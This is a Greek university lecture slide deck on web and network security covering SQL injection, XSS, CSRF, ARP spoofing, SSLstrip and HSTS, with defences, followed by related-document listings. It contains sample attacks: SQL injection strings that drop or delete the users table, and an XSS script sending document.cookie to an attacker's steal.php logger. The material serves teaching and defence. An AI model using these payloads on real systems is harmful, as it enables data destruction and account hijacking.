WEB SECURITY. Διαφάνειες: Δημήτρης Καρακώστας Διονύσης Ζήνδρος. Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
|
|
- Ματθάν Μαρκόπουλος
- 7 χρόνια πριν
- Προβολές:
Transcript
1 WEB SECURITY Διαφάνειες: Δημήτρης Καρακώστας Διονύσης Ζήνδρος Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
2 Βασική αρχή ασφάλειας του web Το web χρησιμοποιεί ένα μοντέλο «sandbox» Ο χρήστης μπορεί να μπει σε σελίδες ελεύθερα χωρίς να φοβάται Καμία σελίδα δεν μπορεί να βλάψει τον υπολογιστή μας Εκτός αν το επιτρέψουμε εμείς κατεβάζοντας κάποιο εκτελέσιμο Εκεί διαφέρουν οι web εφαρμογές από τις desktop Το web μοντέλο είναι ένα ασφαλέστερο μοντέλο Δεν απαιτείται εμπιστοσύνη για να «τρέξουμε» μία web εφαρμογή
3 Web communication Client Network Server
4 Server-Side Vulnerabilities Client Network Server
5 SQL Injection Ένα αθώο SQL ερώτημα... $res = mysql_query( SELECT userid FROM users WHERE password = $password AND name = $user LIMIT 1; );
6 SQL Injection Υπό κανονικές συνθήκες SELECT userid FROM users WHERE password = ILoveYou AND name = dimitris LIMIT 1;
7 SQL Injection Τι γίνεται όμως αν... $username είναι dim itris SELECT userid FROM users WHERE Συντακτικό σφάλμα! name = dim itris AND password = ILoveYou LIMIT 1;
8 SQL Injection Ακόμη χειρότερα... $username είναι dim OR 1 = 1 OR name = itris SELECT userid FROM users WHERE Δεν υπάρχει συντακτικό σφάλμα! password = ILoveYou AND name = dim OR 1 = 1 OR name = itris LIMIT 1;
9 SQL Injection password = ILoveYou AND name = dim OR 1 = 1 OR name = itris (((password = ILoveYou AND name = dim ) OR 1 = 1) OR name = itris ) Αληθές! Επιλέγει την πρώτη εγγραφή. Συνήθως λογαριασμός administrator
10 SQL Injection $username είναι dim ; DELETE FROM users; -- SELECT userid FROM users WHERE password = ILoveYou AND name = dim ; DELETE FROM users; -- LIMIT 1; MySQL σχόλιο
11 SQL Injection $username είναι dim ; DROP TABLE users; -- SELECT userid FROM users WHERE password = ILoveYou AND name = dim ; DROP TABLE users; -- LIMIT 1;
12 SQL Injection Tο SQL injection μπορεί να επιτρέψει: Αντιγραφή όλων των δεδομένων μας χωρίς να το ξέρουμε Αλλαγή των δεδομένων μας Διαγραφή των δεδομένων μας Μπορεί να χρησιμοποιηθεί ως πάτημα για πλήρη πρόσβαση π.χ. για πρόσβαση σε administrator λογαριασμούς ανάγνωση κωδικών πρόσβασης κλπ.
13 Αποφυγή SQL Injection Αποφυγή όλων των χαρακτήρων και και \ <?php $username = $_POST[ username ]; if ( strpos( $username, )!== false strpos( $username, \\ )!== false strpos( $username, )!== false ) { die( You re not welcome here. ); }?>
14 Αποφυγή SQL Injection Τι γίνεται όμως αν θέλουμε να επιτρέψουμε τους χαρακτήρες,, και \? Δεν γίνεται να απαγορεύουμε π.χ. την αναζήτηση με εισαγωγικά! Πώς είναι εφικτό να περνάμε τους χαρακτήρες αυτούς χωρίς ιδιαίτερη σημασία στην MySQL?
15 Αποφυγή SQL Injection Escape όλων των χαρακτήρων: \ \ \ \\ <?php $username = $_POST[ username ]; $username = addslashes( $username );?>
16 Αποφυγή SQL Injection Αν... $username είναι dim itris SELECT userid FROM users WHERE Μέρος το αλφαριθμητικού name = dim\ itris AND password = ILoveYou LIMIT 1;
17 Ποιο είναι το βαθύτερο πρόβλημα; Τα δεδομένα και οι εντολές αναπαρίστανται σε ένα κοινό αλφαριθμητικό Δεν υπάρχει διαχωρισμός εντολών και δεδομένων σε επίπεδο PHP Όλα είναι ένα μεγάλο string! Έτσι τα δεδομένα μπορούν να καταλήξουν να είναι εντολές Πρόβλημα ασφαλείας
18 Αλφαριθμητικό $res = mysql_query( SELECT userid FROM users WHERE password =. $password. AND name =. $user. LIMIT 1; ); Εντολές Δεδομένα Δεδομένα
19 Πώς διαχωρίζουμε εντολές/δεδομένα; «Προετοιμασμένα» ερωτήματα $res = prepared_query( SELECT userid FROM Εντολές users WHERE Δεδομένα password =? AND name =? LIMIT 1;, array( $password, $user ) );
20 Client-Side Vulnerabilities Client Network Server
21 Cookies Δεδομένα που στέλνει ο server στον browser μαζί με την απάντηση σε κάποιο HTTP(s) request Είναι σε μορφή name=value Ο browser τα: αποθηκεύει ανα domain στέλνει πίσω στον server με κάθε νέο request Μόνο το ίδιο το domain έχει πρόσβαση στα cookies του Διατηρούνται μέχρι: να κλείσει ο browser ή να φτάσει το expiration date τους
22 Χρήσεις Cookies Για να θυμάται ο browser αν έχει επισκεφθεί ξανά κάποιο site Login Personalization Shopping carts, στατιστικά, κ.α. Αν κάποιος κλέψει τα cookies σου, γίνεται εσυ
23 Παράδειγμα Γεια! Γεια, να θυμάσαι ότι είσαι admin admin Είμαι ο admin ΟΚ, κάνε ό,τι θες
24 Cookies Πως μοιάζουν; GET /spec.html HTTP/1.1 Host: Cookie: name=value&name2=value2 Accept: */* HTTP αίτημα Κεφαλίδα cookies Όνομα κεφαλίδας Cookies. Ίδια μορφή με GET παραμέτρους Εδώ 2 cookies Cookie name με τιμή value Cookie name2 με τιμή value2
25 2 σελίδες kokkinoskoufitsa.gr Ένα site που ανήκει στον «καλό» kakoslykos.gr Ένα site που ανήκει στον «κακό» Ως διαχειριστής του kokkinoskoufitsa.gr, το επισκέπτομαι Τα cookies μού δίνουν πρόσβαση διαχειριστή Στη συνέχεια επισκέπτομαι το kakoslykos.gr χωρίς να γνωρίζω τι είναι Δεν πρέπει να επιτρέψει στον προγραμματιστή του kakoslykos.gr να αποκτήσει πρόσβαση επιπέδου διαχειριστή στο kokkinoskoufitsa.gr
26 Same-origin policy Υπάρχουν εμπιστευτικές πληροφορίες που έχει κανείς πρόσβαση μόνο με cookies Δίνοντας το cookie μου στο gmail.com έχω πρόσβαση στα μου Όταν ο browser «ζητάει» μία σελίδα, στέλνει τα αντίστοιχα cookies μαζί
27 Same-origin policy Τι γίνεται όταν ο διαχειριστής του kokkinoskoufitsa.gr επισκεφθεί το kakoslykos.gr όπου θα τρέξει κάτι σαν κι αυτό; <script type= text/javascript > $.get( function ( data ) { var img = document.createelement( img ); img.src = steal.php?data= + data; document.appendchild( img ); } ); </script>
28 Same-origin policy Οι browsers το απαγορεύουν αυτό Επιτρέπεται να γίνουν embed εικόνες από άλλες σελίδες Επιτρέπεται να γίνουν embed ήχοι, video, scripts Αυτό το embed γίνεται με τα ορθά cookies Δεν επιτρέπεται η ανάγνωση των καθεαυτών δεδομένων διότι αυτά μπορεί να είναι εμπιστευτικά «Άλλες σελίδες» σημαίνει «άλλο origin»: Διαφορετικό domain, subdomain http VS https Διαφορετική TCP/IP θύρα
29 Same origin με το
30 Same origin με το
31 XSS Cross-site Scripting Συνήθως επιτρέπει πρόσβαση σε cookies Cookies = Πιστοποίηση Άρα επιτρέπει πρόσβαση σε λογαριασμούς που δεν θα είχαμε κανονικά
32 XSS Javascript document.cookie: Επιστρέφει τα cookies της σελίδας όπου τρέχει Χρήσιμο π.χ. για να βρούμε το username του χρήστη που έχει κάνει login Χρήσιμο επίσης για να θέσουμε cookies χωρίς να είναι απαραίτητη η PHP
33 XSS Αρκεί λίγη Javascript για να κάνει το κακό... Έστω ότι ο kakoslykos καταφέρνει να τρέξει το ακόλουθο στο kokkinoskoufitsa.gr: <script type= text/javascript > var img = document.createelement( img ); img.src = + document.cookie; document.appendchild( img ); </script>
34 XSS Ενώ στο steal.php του kakoslykos.gr έχει: <?php file_put_contents( haha.txt, $_GET[ cookie ] );?>
35 XSS Τρόπος επίθεσης: Ο kakoslykos «εισάγει» τον κώδικα Javascript στο kokkinoskoufitsa.gr και περιμένει Ο διαχειριστής του kokkinoskoufitsa επισκέπτεται τη σελίδα kokkinoskoufitsa.gr Ο «κακός» κώδικας Javascript τρέχει στον υπολογιστή του «καλού» διαχειριστή χωρίς να το γνωρίζει Τα cookies του «καλού» διαχειριστή στέλνονται μέσω HTTP στη σελίδα kakoslykos.gr Εκεί καταγράφονται σε αρχείο, και ο kakoslykos έχει πλέον πρόσβαση διαχειριστή
36 XSS Πώς εισάγεται όμως Javascript κώδικας; Σημεία όπου εκτυπώνεται είσοδος χρήστη χωρίς έλεγχο: <p><?php?></p> echo Welcome,. $_GET[ user ];
37 XSS Υπό κανονικές συνθήκες... αν user είναι dimitris: <p>welcome, dimitris</p>
38 XSS Τι γίνεται όμως αν... user είναι dim<itris ; <p>welcome, dim<itris</p> Συντακτικό σφάλμα!
39 XSS Aν user είναι dim<strong>itris</strong> ; <p>welcome, dim<strong>itris</strong></p> Δεν υπάρχει συντακτικό σφάλμα!
40 XSS Ουσιαστικά κάναμε ένα HTML injection Πλέον έχουμε πλήρη έλεγχο του κώδικα Aν user είναι dim<script type= text/javascript >alert( XSS );</script>itris ; <p>welcome, dim<script type= text/javascript >alert( XSS );</script>itris </p>
41 XSS Αλλάζοντας τα περιεχόμενα του script έχουμε πλέον απόλυτο έλεγχο στο τι θα εκτελεστεί σε ένα site που δεν είναι δικό μας... <p>welcome, dim<script type= text/javascript > var img = document.createelement( img ); img.src = + document.cookie; document.appendchild( img ); </script>itris</p>
42 Αποφυγή XSS Πρέπει να φιλτράρουμε τα inputs μας Αποφυγή όλων των χαρακτήρων <, &, και > <?php $username = $_GET[ username ]; if ( strpos( $username, < )!== false strpos( $username, > )!== false strpos( $username, )!== false ) { die( You re not welcome here. ); }?>
43 Αποφυγή XSS Αν όμως θέλουμε να επιτρέπουμε <, >, & και ; Σε ένα forum π.χ. κάποιος μπορεί να θέλει όντως να γράψει HTML που να εμφανίζεται αυτούσια Κάνουμε escape τους χαρακτήρες μας με entities < < > > & & "
44 Αποφυγή XSS htmlspecialchars: Αντικαθιστά τα HTML entities <?php $username = $_GET[ username ]; echo Welcome,. htmlspecialchars( $username );?>
45 XSS Aν user είναι dim<script type= text/javascript >alert( XSS );</script>itris; <p>welcome, dim<script type="text/javascript">alert( XSS ); </script;>itris </p> Welcome, dim<script type= text/javascript >alert( XSS );></script>itris Δεν εκτελείται, απλώς εμφανίζεται
46 Cross-Site Request Forgery (CSRF) Σκοπός CSRF: Κάνουμε τον χρήστη να εκτελέσει ενέργειες χωρίς να το επιθυμεί να αλλάξει το του στην εφαρμογή να μεταφέρει λεφτά από ένα λογαριασμό σε ένα άλλο Ο επιτιθέμενος δεν μπορεί να κλέψει δεδομένα δεν έχει πρόσβαση στην απάντηση από τον server
47 Παράδειγμα CSRF Στο kokkinoskoufitsa.gr υπάρχει κουμπί για διαγραφή λογαριασμού <form action= /account/delete method="post"> <input type="submit" value="delete account" /> </form>
48 Παράδειγμα CSRF Ο χρήστης μπαίνει στο kakoslykos.gr Ο «κακός» έχει φτιάξει μια φόρμα <form action= lete" method="post"> <input type="submit" value="play Game" /> </form> Στέλνει το ίδιο POST request όπως η φόρμα στο kokkinoskoufitsa.gr
49 Παράδειγμα CSRF Ο χρήστης κάνει submit τη φόρμα Νομίζει ότι θα παίξει ένα παιχνίδι στο kakoslykos.gr Τελικά διαγράφεται ο λογαριασμός του από το kokkinoskoufitsa.gr
50 Προστασία απέναντι σε CSRF Ορθή χρήση των HTTP methods GET requests μόνο για requests που ζητούν δεδομένα από τον server POST για requests που τροποποιούν δεδομένα στον server Χρήση CSRF Token σε κάθε request, το οποίο μετά επαληθεύεται στον server Τα tokens παράγονται από κάποιο session id και ένα μυστικό token στον server
51 Προστασία απέναντι σε CSRF <form action= /delete" method="post"> <input type="hidden name="csrftoken value="owy4nmqwode4"> <input type="submit value="delete account" /> </form>
52 Διάλειμμα
53 Network Security Client Network Server
54 ARP Πρωτόκολλο που αντιστοιχεί MAC και IP διευθύνσεις στο τοπικό δίκτυο
55 Ένα WiFi δίκτυο κινητό 3c:07:54:02:d5:f8 laptop 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60
56 ARP κινητό Who has ? 3c:07:54:02:d5:f8 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60
57 ARP κινητό Who has ? 3c:07:54:02:d5:f8 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60
58 κινητό 3c:07:54:02:d5:f8 laptop at d2:00:10:9a:2d:60 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60
59 = d2:00:10:9a:2d:60 κινητό 3c:07:54:02:d5:f8 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60
60 ARP Spoofing Αλλάζουμε τον ARP πίνακα του θύματος Τα δεδομένα θα περνούν από τον θύτη Ο θύτης προωθεί τα δεδομένα από το θύμα στο gateway και από το gateway στο θύμα Man-in-the-Middle
61 Ένα WiFi δίκτυο κινητό 3c:07:54:02:d5:f8 laptop 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60 bad guy e4:ce:8f:41:c0:1e
62 ARP κινητό Who has ? 3c:07:54:02:d5:f8 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60 bad guy e4:ce:8f:41:c0:1e
63 ARP κινητό Who has ? 3c:07:54:02:d5:f8 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60 bad guy e4:ce:8f:41:c0:1e
64 κινητό 3c:07:54:02:d5:f8 laptop at d2:00:10:9a:2d:60 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60 bad guy e4:ce:8f:41:c0:1e
65 = e4:ce:8f:41:c0:1e κινητό 3c:07:54:02:d5:f8 06:ce:8f:41:c0:1e router d2:00:10:9a:2d:60 bad guy e4:ce:8f:41:c0:1e
66 HTTP Hyper Text Transfer Protocol Κεντρική ιδέα 1. Συνδέομαι στην υπηρεσία 2. Κάνω ένα αίτημα σελίδας 3. Περιμένω για απάντηση 4. Παίρνω την απάντηση 5. Αποσυνδέομαι
67 HTTP Με το HTTP μεταφέρουμε HTML, CSS, φωτογραφίες κλπ Γενικότερα οποιοδήποτε αρχείο Παραδείγματα αίτημάτων Φέρε μου το αρχείο mypage.html Φέρε μου το αρχείο menu.png Φέρε το αρχείο style.css
68 HTTP GET /index.html HTTP/1.1 Host: ece.ntua.gr Cookies, HTML, Javascript, Headers
69 Πρόβλημα HTTP Ακρυπτογράφητο Ευάλωτο σε επιθέσεις MitM Μπορεί κάποιος να: δει που μπαίνουμε αλλάξει αυτά που βλέπουμε κλέψει τους κωδικούς μας
70 Wireshark MitM Demo
71 HTTP Με HTTP, ένας ενδιάμεσος μπορεί Να διαβάσει τα δεδομένα Να αλλάξει τα δεδομένα «Ενδιάμεσος» μπορεί να είναι: Ο ISP O admin ενός router όπου περνάει το traffic μας Αυτός που πίνει καφέ στο διπλανό τραπέζι Με άλλα λόγια: Tο δίκτυο είναι ανασφαλές
72 HTTPS Δυνατή κρυπτογράφηση που δεν σπάει Χρήση πιστοποιητικών Δεν είναι δυνατές οι υποκλοπές δεδομένων Δεν είναι δυνατή η αλλαγή δεδομένων στο δίκτυο Αν γίνει κάτι απ όλα αυτά Ο browser μας προειδοποιεί
73 Certificates Περιέχουν πληροφορίες για τον ιδιοκτήτη μιας σελίδας 1. Domain name πχ: google.com 2. Δημόσιο κρυπτογραφικό κλειδί Χρησιμοποιείται για αυθεντικοποίηση του server από τον client
74 Certificate Authorities (CAs) Κάποια έμπιστη αρχή υπάρχουν πάνω από 1000 προεγκατεστημένες στο λειτουργικό σύστημα/browser μας ο browser τις εμπιστεύεται και τις συμβουλεύεται για να επαληθεύσει τα certificates υπογράφουν ψηφιακά τα certificates άλλων ιδιοκτητών Το σύνολο των CAs και η ιεραρχία τους συνιστά το PKI (Public Key Infrastructure)
75 HTTP upgrade redirect to: HTML, JS, CSS,
76 SSLstrip redirect to HTML, JS, CSS, over http HTML, JS, CSS, over https
77 HTTP Strict Transport Security (HSTS) Είναι ένα HTTP Header Strict-Transport-Security: max-age=9001 Στέλνεται μέσω ενός HTTPS καναλιού στον browser Όλες οι συνδέσεις στο συγκεκριμένο domain θα είναι HTTPS για 9001 δευτερόλεπτα
78 Ασφάλεια στο διαδίκτυο Τελικά, αν χρησιμοποιούμε μόνο HTTPS/HSTS είμαστε ασφαλείς από επιθέσεις στο traffic μας, σωστά;
79 Ασφάλεια στο διαδίκτυο Τελικά, αν χρησιμοποιούμε μόνο HTTPS/HSTS είμαστε ασφαλείς, σωστά;
80 Metadata
81 Τι είναι τα metadata; Τα δεδομένα μιας επικοινωνίας χωρίζονται σε 2 μεγάλες κατηγορίες Περιεχόμενο: Τι λέμε; Metadata: Με ποιον μιλάμε; Για πόση ώρα; Από πού επικοινωνούμε; Πόσες ερωτήσεις κάνουμε; Πόσο μεγάλες απαντήσεις παίρνουμε;
82 Προστασία των metadata Υπάρχουν λύσεις; Ανώνυμο browsing Tor, I2P VPN Block ciphers Χρειάζεται να προστατεύουμε τα metadata;
83 Προστασία των metadata Υπάρχουν λύσεις; Ανώνυμο browsing Tor, I2P VPN Block ciphers Χρειάζεται να προστατεύουμε τα metadata;
84 Side-channel attacks
85 Side-channels Παράπλευρες πηγές πληροφορίας Χρόνος Κατανάλωση ενέργειας Μέγεθος πακέτων στο δίκτυο Ηλεκτρομαγνητική ακτινοβολία Ήχος Γείτονες (Row hammer)
86 Side-channels Μπορούμε να αποκρυπτογραφήσουμε το περιεχόμενο χρησιμοποιώντας side-channels; Χρόνος (TIME) Κατανάλωση ενέργειας Μέγεθος πακέτων στο δίκτυο (BREACH) Ηλεκτρομαγνητική ακτινοβολία Ήχος Γείτονες (Row hammer)
87 Ευχαριστώ! Ερωτήσεις; DF46 7AFF 3398 BB31 CEA7 1E77 F A339 D2E9
ΑΣΦΑΛΕΙΑ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
ΑΣΦΑΛΕΙΑ Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης
Διαβάστε περισσότεραΚρυπτογραφία: HTTPS και web κρυπτογραφία
Κρυπτογραφία: HTTPS και web κρυπτογραφία Διδασκαλία: Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος, Π. Αγγελάτος ΗΜΜΥ ΕΜΠ Στόχοι του σημερινού μαθήματος ARP / ARP spoofing Το μοντέλο ασφάλειας του web Same-origin
Διαβάστε περισσότεραΔΙΚΤΥΑ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
ΔΙΚΤΥΑ Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης
Διαβάστε περισσότεραΤεχνολογίες Διαδικτύου. Server Side Scripting I PHP
Τεχνολογίες Διαδικτύου Server Side Scripting I PHP Εισαγωγή PHP PHP:Hypertext Preprocessor Mηχανή που συνοδεύει web servers όπως ο IIS και ο Apache Η PHP είναι γλώσσα προγραμματισμού για web εφαρμογές
Διαβάστε περισσότεραΑσφάλεια, Διαθεσιμότητα και Ταχύτητα για τις Web Εφαρμογές
Ασφάλεια, Διαθεσιμότητα και Ταχύτητα για τις Web Εφαρμογές Barracuda Web Application Firewall Καλοχριστιανάκης Αντώνης Διευθυντής Πωλήσεων Digital SIMA Ανατομία Web επίθεσης Οι Web επιθέσεις δε διαφέρουν
Διαβάστε περισσότεραApplication Security. Dimitris Mitropoulos
Application Security Dimitris Mitropoulos dimitro@grnet.gr
Διαβάστε περισσότεραΠΡΟΣΟΧΗ: Οι απαντήσεις πολλαπλής επιλογής µόνο πάνω στο ΦΥΛΛΟ ΑΠΑΝΤΗΣΕΩΝ
ΤΕΙ Σερρών Σχολή Τεχνολογικών Εφαρμογών, Τμήμα Πληροφορικής και Επικοινωνιών Προγραμματιστικές Εφαρμογές στο Διαδίκτυο (Θ) Τελική Εξέταση Διδάσκων: Δ. Κοτζίνος Όνοµα: Α.Μ. : Εξάµηνο : Αίθουσα Έδωσα Project
Διαβάστε περισσότεραPHP 2. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
PHP 2 Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης
Διαβάστε περισσότεραΔΟΜΗ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
ΔΟΜΗ Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative
Διαβάστε περισσότεραΕφαρμογή Βάσης Δεδομένων για την Εθελοντική Αιμοδοσία στο ΑΤΕΙ-Θ
Εφαρμογή Βάσης Δεδομένων για την Εθελοντική Αιμοδοσία στο ΑΤΕΙ-Θ Επιβλέπων καθηγητής Δημήτρης Αχιλ. Δέρβος Πτυχιακή εργασία του Πετράκη-Πυρετζίδη Στέφανου Σκοπός Δημιουργία βάσης δεδομένων Ανάπτυξη διαδικτυακής
Διαβάστε περισσότερα6.2 Υπηρεσίες Διαδικτύου
6.2 Υπηρεσίες Διαδικτύου 1 / 34 Όλες οι υπηρεσίες στο Διαδίκτυο, όπως και πολλές εφαρμογές λογισμικού, στηρίζονται στο μοντέλο Πελάτη Εξυπηρετητή. 2 / 34 Σύμφωνα με αυτό το μοντέλο ο Εξυπηρετητής οργανώνει,
Διαβάστε περισσότεραΠαράρτημα A: PHP, HTML φόρμες και το πρωτόκολλο HTTP.
Εργαστήριο #5 Τι πρέπει να έχετε ολοκληρώσει από το προηγούμενο εργαστήριο. Θα πρέπει να ξέρετε να εισάγετε ένα βασικό πρόγραμμα PHP μέσα σε μια ιστοσελίδα, τη χρήση της echo και τον χειρισμό απλών μεταβλητών
Διαβάστε περισσότεραInjection Attacks. Protocol Host FilePath. field1=valuex&field2=valuey. Query String. Web server HTTP GET.
Πως γίνεται η πρόσβαση σήμερα; Το user input περνάει από ένα server-side script μέσω HTTP methods όπως POST/GET Το αίτημα επεξεργάζεται Ανάλογα ανοίγει πρόσβαση στη βάση Query database και ανάκτηση results
Διαβάστε περισσότεραPHP/MySQL και Project
PHP/MySQL και Project Μια απλή διαδικτυακή εφαρμογή Γεώργιος Ευαγγελίδης Τμήμα Εφαρμοσμένης Πληροφορικής Σχολή Επιστημών Πληροφορίας Πανεπιστήμιο Μακεδονίας Περιεχόμενα PHP (Middle tier) Διαδικτυακές εφαρμογές
Διαβάστε περισσότεραΠΡΟΧΩΡΗΜΕΝΑ ΘΕΜΑΤΑ PHP
Αντώνης Χρυσόπουλος Κατερίνα Κυπριώτη Στέλιος Μόσχογλου Θεοδόσης Σουργκούνης ΠΡΟΧΩΡΗΜΕΝΑ ΘΕΜΑΤΑ PHP PHP 3: The Revenge of PHP Η Eκδίκηση Εφημερίδες! Έκτακτο Παράρτημα! 1. Booleans Null (κενό) 2. Πίνακες
Διαβάστε περισσότεραΕφαρµογές διαδικτύου µε PHP
Εφαρµογές διαδικτύου µε PHP Σταύρος Πολυβίου Αρχιτεκτονική τριών επιπέδων (three-tier architecture) SQL HTTP request Αποτελέσµατα (πίνακες) PHP HTML Σύστηµα διαχείρισης δεδοµένων (Database Management System)
Διαβάστε περισσότεραApplication Security in Practise
Application Security in Practise Stefanos Haliasos stefanoshaliassos@gmail.com Attacks and Defences in Web Applications Injection Attacks Command Injection SQL Injections Blind SQL Injections XSS (DOM
Διαβάστε περισσότεραWeb and HTTP. Βασικά Συστατικά: Web Server Web Browser HTTP Protocol
HTTP Protocol Web and HTTP Βασικά Συστατικά: Web Server Web Browser HTTP Protocol Web Servers (1/2) Ένα πρόγραμμα (λογισμικό) που έχει εγκατασταθεί σε ένα υπολογιστικό σύστημα (έναν ή περισσότερους υπολογιστές)
Διαβάστε περισσότεραPHP Functions. by George Girtsou Copyright All Rights Reserved. Με την επιφύλαξη κάθε νόμιμου δικαιώματος.
PHP Functions by George Girtsou Copyright All Rights Reserved ΠΝΕΥΜΑΤΙΚΑ ΔΙΚΑΩΜΑΤΑ Όλα τα δικαιώματα συμπεριλαμβανομένου της πνευματικής ιδιοκτησίας επί του περιεχομένου, βρίσκονται υπό την κατοχή ή τον
Διαβάστε περισσότεραPHP 1. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
PHP 1 Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative
Διαβάστε περισσότεραΕπίθεση BREACH. Διονύσης Ζήνδρος @dionyziz
Επίθεση BREACH Διονύσης Ζήνδρος @dionyziz Σύνοψη Τεχνικές λεπτομέρειες Threat model / υποθέσεις Proof of concept Αποφυγή Κωδικοποίηση Huffman David Huffman (1951) Μία μέθοδος συμπίεσης Κάθε byte αντικαθίσταται
Διαβάστε περισσότεραΘέματα Προγραμματισμού Διαδικτύου ~ MySQL & PHP ~
Θέματα Προγραμματισμού Διαδικτύου ~ MySQL & PHP ~ Στελιος Σφακιανάκης Εαρινό 2019 Αυτή η εργασία χορηγείται με άδεια Creative Commons Αναφορά Δημιουργού - Μη Εμπορική Χρήση - Παρόμοια Διανομή 1 Ροή Δεδομένων
Διαβάστε περισσότεραΑντώνης Χρυσόπουλος Στέλιος Μόσχογλου Θεοδόσης Σουργκούνης ΔΟΜΗΣΗ ΚΩΔΙΚΑ. Μαθαίνω παίζοντας
Αντώνης Χρυσόπουλος Στέλιος Μόσχογλου Θεοδόσης Σουργκούνης ΔΟΜΗΣΗ ΚΩΔΙΚΑ Μαθαίνω παίζοντας Σήμερα παιδάκια μου θα μάθουμε... 1. Δόμηση Κώδικα 2. Στυλ Κώδικα 3. Συνεργασία Σε Ομάδες - Διαχωρισμός Σε Αρχεία
Διαβάστε περισσότεραΜετάφραση: Καζακώνης Αναστάσιος ΙΟΥΝΙΟΣ 2005
App Sec FAQ Μετάφραση: Καζακώνης Αναστάσιος ΙΟΥΝΙΟΣ 2005 Εισαγωγή Τι πραγµατεύεται αυτό το εγχειρίδιο? Το εγχειρίδιο αυτό απαντά σε ερωτήσεις προγραµµατιστών σχετικά µε την ασφάλεια των δικτυακών εφαρµογών.
Διαβάστε περισσότεραΤεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Τμήμα Τηλεπληροφορικής & Διοίκησης
Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Τμήμα Τηλεπληροφορικής & Διοίκησης Κατάλογος Περιεχομένων 1 ΑΣΎΜΜΕΤΡΗ ΚΡΥΠΤΟΓΡΑΦΊΑ ΚΑΙ PGP...- 3-1.1 ΕΙΣΑΓΩΓΉ...- 3-1.2 ΤΙ ΕΊΝΑΙ ΤΟ PGP;...- 4-1.3 ΤΟ PGP ΒΉΜΑ ΒΉΜΑ......-
Διαβάστε περισσότεραΑσφάλεια Υπολογιστών Και Δικτύων. Προσομοίωση επίθεσης σε ευπαθές σε SQL Injection σύστημα και απόκτηση κονσόλας διαχειριστή
Ασφάλεια Υπολογιστών Και Δικτύων Προσομοίωση επίθεσης σε ευπαθές σε SQL Injection σύστημα και απόκτηση κονσόλας διαχειριστή Ονοματεπώνυμο: Κυριακού Ανδρόνικος Αριθμός Μητρώου: 5806 Email: kyriakou@ceid.upatras.gr
Διαβάστε περισσότεραΔυναμικές Ιστοσελίδες Εισαγωγή στην Javascript για προγραμματισμό στην πλευρά του client
ΕΣΔ 516 Τεχνολογίες Διαδικτύου Δυναμικές Ιστοσελίδες Εισαγωγή στην Javascript για προγραμματισμό στην πλευρά του client Περιεχόμενα Περιεχόμενα Javascript και HTML Βασική σύνταξη Μεταβλητές Τελεστές Συναρτήσεις
Διαβάστε περισσότεραXAMPP Apache MySQL PHP javascript xampp
XAMPP Το xampp είναι ένα δωρεάν πρόγραμμα με το οποίο μπορούμε να κάνουμε εγκατάσταση τον Apache, τη MySQL και την PHP. Apache. Ο Apache είναι ένας Web Server. Είναι δηλαδή πρόγραμμα το οποίο τρέχει μόνιμα
Διαβάστε περισσότεραΕΣΔ 232: ΟΡΓΑΝΩΣΗ ΔΕΔΟΜΕΝΩΝ ΣΤΗ ΚΟΙΝΩΝΙΑ ΤΗΣ ΠΛΗΡΟΦΟΡΙΑΣ. Ακαδημαϊκό Έτος , Εαρινό Εξάμηνο. Εργαστηριακή Άσκηση 1 17/01/2012
